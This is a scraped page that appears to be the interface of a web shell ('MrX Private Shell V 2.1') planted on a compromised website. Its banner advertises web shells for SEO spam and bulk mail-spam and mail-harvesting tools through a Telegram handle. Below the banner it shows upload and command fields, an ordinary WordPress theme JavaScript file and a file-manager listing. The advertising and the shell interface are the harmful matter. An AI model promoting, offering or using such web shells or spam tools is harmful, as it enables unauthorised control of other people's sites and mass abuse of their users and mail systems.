__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
import { getFirstLevelOptions } from '../../options/helpers/get-value-from-input'

export const getAttributesFromOptions = (options) => {
	return Object.entries(getFirstLevelOptions(options)).reduce((acc, item) => {
		const blocksyType = item[1].type
		let type = 'string'

		if (blocksyType === 'ct-number') {
			type = 'number'
		}

		if (
			blocksyType === 'ct-visibility' ||
			blocksyType === 'ct-checkboxes' ||
			blocksyType === 'ct-image-uploader'
		) {
			type = 'object'
		}

		if (blocksyType === 'ct-layers') {
			type = 'array'
		}

		acc[item[0]] = {
			type,
			default: item[1].value,
		}

		return acc
	}, {})
}

export const getDefaultsFromOptions = (options) => {
	const attributes = getAttributesFromOptions(options)

	return Object.entries(attributes).reduce((acc, item) => {
		acc[item[0]] = item[1].default

		return acc
	}, {})
}

export const getOptionsForBlock = (blockName) => {
	return (
		(window.ct_localizations || window.ct_customizer_localizations)
			?.block_editor_data?.[blockName] || []
	)
}

Filemanager

Name Type Size Permission Actions
colors.js File 174 B 0775
fix-core-blocks-registration.js File 794 B 0775
index.js File 1.01 KB 0775
Filemanager